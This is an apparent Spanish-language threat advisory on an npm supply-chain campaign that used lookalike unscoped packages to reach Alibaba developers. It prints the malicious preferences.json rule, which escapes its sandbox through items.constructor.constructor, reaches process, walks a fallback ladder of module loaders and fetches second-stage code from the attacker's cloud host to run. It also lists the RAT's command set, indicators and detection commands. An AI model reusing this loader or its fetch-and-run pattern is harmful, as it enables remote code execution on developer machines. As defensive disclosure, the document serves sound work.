CVE
Sin asignar
CWE
CWE-506, CWE-94, CWE-829
Sistemas afectados
- 18 nombres de paquetes npm maliciosos, incluidos `lib-mtop`, `aone-kit`, `aone-kit-cli`, `aone-sandbox`, `smart-config-manager`, `cloud-config-fetcher`, `local-config-parser`, `aone-cloud-cli`, `colder-cli`, `def-open-client`, `feedback-ai-sdk`, `flight-compare-analyzer`, `lwp-web-client`, `lzd-unified-station-sdk`, `open-worker-cli`, `test-skill-zip` y `uniapi-bridge`
- Estaciones de trabajo de desarrolladores y entornos de CI que resuelven paquetes privados `@ali/*` mientras también instalan los correspondientes paquetes señuelo sin ámbito
- Hosts macOS, Windows y Linux que ejecutaron las etapas siguientes de carga `setting.js` o `aone-cli`
La historia más reciente sobre registros de paquetes que merece atención hoy no es otro robador de un solo archivo con un postinstall. Es un clúster de npm dirigido que dividió su cargador en varios paquetes, un descargador remoto de configuración y un archivo de reglas todavía activo alojado en GitHub. Una investigación pública publicada el 28 de julio muestra que el clúster apunta a desarrolladores dentro del ecosistema privado de herramientas @ali/* de Alibaba mediante la publicación de paquetes sin ámbito con los mismos nombres que los desarrolladores esperarían resolver internamente.
Lo que hace que este incidente merezca la atención de un equipo de AppSec es el diseño de ejecución. El operador no necesitaba un tarball obviamente malicioso que gritara “robador de credenciales”. En cambio, el árbol de dependencias está estructurado en capas de modo que:
- los paquetes señuelo de nivel superior parecen envoltorios de compatibilidad para herramientas internas de Alibaba
- una capa intermedia compartida incorpora un descargador de configuración y un analizador de reglas local
- una regla JSON remota escapa del sandbox del analizador y llega a primitivas puras de Node.js
- la segunda etapa descargada pivota hacia un comportamiento de RAT específico de la plataforma
Eso es un ataque de cadena de suministro sobre el límite de confianza entre la nomenclatura interna de paquetes, la resolución de dependencias y la automatización del desarrollador.
Conjunto de paquetes afectados confirmado públicamente
La lista pública de indicadores de Socket nombra 18 nombres de paquetes npm maliciosos, con un paquete adicional node-data-utils descrito como parte de la línea temporal de preparación. Los roles se desglosan de la siguiente manera:
| Rol en la cadena | Paquetes nombrados públicamente | Señal pública actual |
|---|---|---|
| Señuelo inicial / descargador simple | lib-mtop | La cobertura pública de avisos de malware ya marca el paquete como malicioso; la última versión en el registro es una versión de retención 0.0.1-security |
Nombres de envoltorio que coinciden con paquetes internos @ali/* | aone-kit, aone-kit-cli, aone-sandbox | Mismo patrón que lib-mtop: imitaciones sin ámbito, ahora redirigidas a versiones de retención de seguridad |
| Núcleo de ejecución compartido | smart-config-manager, cloud-config-fetcher, local-config-parser | Los tres cuentan ahora con avisos públicos de paquete malicioso; la última versión en el registro también apunta a 0.0.1-security |
| Señuelos de entrega de la capa superior | aone-cloud-cli, colder-cli, def-open-client, feedback-ai-sdk, flight-compare-analyzer, lwp-web-client, lzd-unified-station-sdk, open-worker-cli, test-skill-zip, uniapi-bridge | Oleada de publicación del 28 al 29 de abril con nombres que se ajustan a los patrones de herramientas para desarrolladores de Alibaba |
| Artefactos de preparación / pruebas de humo vinculados en informes públicos | fast-transform-pipeline, node-data-utils | Reportados como parte de la preparación de la misma campaña justo antes de la oleada de publicación más amplia |
La estrategia de nomenclatura es importante. Los paquetes están sin ámbito, pero el señuelo solo resulta convincente en entornos donde los desarrolladores ya esperan que existan las dependencias privadas correspondientes @ali/*. La investigación pública señala específicamente que esto permite que el grafo de instalación parezca normal dentro de la organización objetivo mientras injerta discretamente el subárbol malicioso adicional.
El grafo de dependencias es el malware
La arquitectura importante no es un solo paquete; es el grafo:
aone-cloud-cli / colder-cli / ... / uniapi-bridge
└─ smart-config-manager
├─ cloud-config-fetcher
└─ local-config-parser
└─ expresiones de reglas controladas por el atacante
lib-mtop
└─ ruta de descarga separada y más simple usada como sonda / señuelo
Los informes públicos indican que los diez paquetes señuelo de la capa superior dependen todos de smart-config-manager, que a su vez depende de cloud-config-fetcher y local-config-parser. Eso es más peligroso que un postinstall clásico porque cada nodo del grafo puede parecer defendible individualmente:
- un “gestor de configuración”
- un “descargador de configuración”
- un “analizador local”
- un envoltorio de CLI delgado
Juntos, implementan la entrega remota de código.
El archivo preferences.json en vivo todavía muestra el escape del sandbox
El artefacto primario superviviente más contundente es el archivo defaults/preferences.json, aún activo, en smi1e2u/smart-config-manager. Es útil porque muestra exactamente cómo el atacante ocultó la lógica maliciosa dentro de lo que parece una regla de transformación normal.
La misma familia de repositorios también incluye una configuración predefinida de apariencia inocua en fast-transform-pipeline/presets/demo.json. Su regla normalize parece un moldeado de datos ordinario:
{
"name": "normalize",
"expression": "(function(){ var multipliers = { A: 0.85, B: 0.9, C: 0.7 }; return items.map(function(item) { var rate = multipliers[item.category] || 1; return Object.assign({}, item, { value: Math.round(item.value * rate), factor: rate }); }); })()"
}
La regla maliciosa preferences.json comienza con la misma lógica de multiplicadores de apariencia inocente y luego pivota hacia una fuga:
(function () {
var multipliers = { A: 0.85, B: 0.9, C: 0.7 };
var F = items.constructor.constructor;
var p = F("return process")();
var _l = function (m) {
if (typeof p.getBuiltinModule === "function") return p.getBuiltinModule(m);
if (p.mainModule && p.mainModule.require) return p.mainModule.require(m);
if (p.mainModule && p.mainModule.constructor && p.mainModule.constructor._load) {
return p.mainModule.constructor._load(m);
}
return null;
};
var https = _l("https");
var u = "https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js";
https.get(u, function (r) { /* descarga y ejecuta la segunda etapa */ });
})();
Dos detalles importan aquí:
items.constructor.constructorse usa para recuperar el constructorFunctiondel host y luego el objetoprocessreal. Esa es la clásica ruptura de límites que convierte “evaluar esta expresión de regla local” en acceso irrestricto al entorno de ejecución.- la regla no se limita a devolver datos transformados. Resuelve dinámicamente
https, alcanza el almacenamiento de objetos de Alibaba Cloud, descarga JavaScript y lo ejecuta.
Por eso los nombres de los paquetes por sí solos no cuentan toda la historia. Incluso si un defensor solo encontrara preferences.json en disco, el cuerpo de la expresión basta para demostrar que la “configuración” era el cargador.
Por qué el escape es especialmente peligroso en las rutas de compilación de Node.js
La fuga no es una queja abstracta sobre eval(). Una vez que la regla alcanza process, intenta varias rutas de recuperación de cargador:
p.getBuiltinModule(m)
p.mainModule.require(m)
p.mainModule.constructor._load(m)
globalThis.module.constructor._load(m)
require(m)
globalThis.require(m)
Esa escalera de respaldo es ingeniería de malware operativamente útil:
- tolera diferencias entre versiones de Node.js
- tolera cambios en cómo la aplicación anfitriona expone
require - evita depender de una única primitiva de importación frágil
Si la herramienta circundante realmente evalúa expresiones de reglas en un contexto tipo vm, el atacante ya ha anticipado las salvaguardas obvias y ha preparado varias formas de volver a salir hacia el proceso anfitrión.
La segunda etapa pasa del abuso de configuración al compromiso del host
La ingeniería inversa de Socket muestra que el setting.js descargado no es solo un segundo descargador. Identifica el host y selecciona una carga útil aone-cli específica de la plataforma:
| Plataforma | Comportamiento posterior descrito públicamente |
|---|---|
| macOS | inserta un script en segundo plano en los archivos de inicio del shell e instala un Launch Agent |
| Windows | mata la aplicación de seguridad oficial Alilang y reemplaza app.asar por una copia troyanizada |
| Linux | descarga una carga binaria a /tmp, la lanza en modo separado y luego elimina el archivo en disco después de cargarla |
La carga final recuperada está explícitamente dirigida al entorno interno de Alibaba. La investigación pública describe:
- ejecución de comandos
- carga y descarga de archivos
- reconocimiento del host
- proxying TCP inverso cifrado
- movimiento lateral en DingTalk
- persistencia específica de la aplicación
- envenenamiento de herramientas de IA mediante fragmentos de Python inyectados en directorios de estilo
.skills
El vocabulario de comandos publicado a partir del cargador recuperado es la evidencia de que se trata de un RAT completo, no de un simple recolector de credenciales:
info
sleep
pwd
whoami
download
upload
execute
run_python
proxy
aisearch
aipoison
dws_lateral
Ese conjunto se alinea mucho más con las tácticas de espionaje industrial que con el robo rápido de tokens.
El estado del registro muestra ahora actividad de retirada, no seguridad
Una señal independiente sutil pero útil es el estado actual del registro. En el momento de redactar este texto, las últimas versiones visibles para lib-mtop, aone-kit, aone-kit-cli, aone-sandbox, local-config-parser, smart-config-manager y cloud-config-fetcher se resuelven todas a 0.0.1-security.
Eso es útil para el alcance, pero no es un certificado de salud limpio:
- significa que el registro ha tomado medidas de respuesta
- no significa que las instalaciones anteriores sean seguras
- no indica dónde ya se resolvieron los paquetes en espejos internos, cachés o imágenes base
Para los defensores, este es un incidente de “mirar hacia atrás”. La pregunta principal es dónde se resolvieron ya estos paquetes antes de que las versiones de retención de seguridad los reemplazaran.
Detección y alcance
Empieza con la delimitación por nombre de paquete en manifiestos, lockfiles y metadatos de espejos internos:
rg -n \
"lib-mtop|aone-kit|aone-kit-cli|aone-sandbox|local-config-parser|smart-config-manager|cloud-config-fetcher|aone-cloud-cli|colder-cli|def-open-client|feedback-ai-sdk|flight-compare-analyzer|lwp-web-client|lzd-unified-station-sdk|open-worker-cli|test-skill-zip|uniapi-bridge|fast-transform-pipeline" \
package.json package-lock.json pnpm-lock.yaml yarn.lock
Luego busca los indicadores del cargador superviviente y los artefactos de preparación:
rg -n \
"items\\.constructor\\.constructor|aone-cli-next\\.oss-cn-beijing\\.aliyuncs\\.com|smi1e2u/smart-config-manager|\\.cloud-preferences\\.json|__INJECT_MARKER__|ROBOT_UID" \
.
La telemetría de red y host también debería enfocarse en:
raw.githubusercontent.com/smi1e2u/smart-config-manager/main/defaults/preferences.jsonaone-cli-next.oss-cn-beijing.aliyuncs.com- actividad de Node.js en modo separado o cargas útiles temporales de Linux con raíz en
/tmp - actividad inusual en DingTalk o modificaciones de archivos Python que contengan el marcador de inyección publicado
Si tu entorno incluye herramientas de desarrollo en chino, amplía la búsqueda a herramientas de colaboración empresarial y complementos de IDE, en lugar de limitarte a las credenciales del gestor de paquetes.
Guía de respuesta
Trata cualquier host que haya instalado o cargado los paquetes afectados como comprometido, no simplemente expuesto.
- aísla la máquina antes de realizar cambios
- conserva las cachés de paquetes, los lockfiles, el historial del shell y los archivos de configuración sospechosos como
.cloud-preferences.json - rota las credenciales de npm, GitHub, la nube, SSH, chat, CI/CD y la plataforma interna desde una máquina limpia distinta
- inspecciona los directorios de herramientas de desarrollo y colaboración en busca de persistencia, especialmente archivos Python que porten el marcador de inyección publicado
- revisa el historial de control de código fuente y de publicación de artefactos en busca de cualquier abuso posterior originado en la estación de trabajo o el runner comprometidos
La lección principal es más amplia que esta campaña concreta. Cuando las organizaciones normalizan los paquetes de “configuración dinámica” que evalúan expresiones, una dependencia maliciosa ya no necesita un gancho de ciclo de vida ruidoso. Puede esconderse dentro de un motor de reglas, recuperar process y convertir la propia capa de configuración en el entorno de ejecución del malware.
De la investigación a la remediación
Comprueba si este patrón existe en tu código
Convierte esta investigación en un flujo de remediación. Analiza dependencias y manifiestos para detectar riesgos similares en la cadena de suministro y prioriza las correcciones con contexto de alcanzabilidad.
Referencias
- Socket: un clúster de paquetes npm distribuido entrega un RAT multiplataforma dirigido a desarrolladores de Alibaba
- GitHub Advisory: local-config-parser
- GitHub Advisory: smart-config-manager
- GitHub Advisory: cloud-config-fetcher
- GitHub Advisory: lib-mtop
- Repositorio de GitHub: smi1e2u/smart-config-manager
- Repositorio de GitHub: smi1e2u/fast-transform-pipeline
- CWE-506 Embedded Malicious Code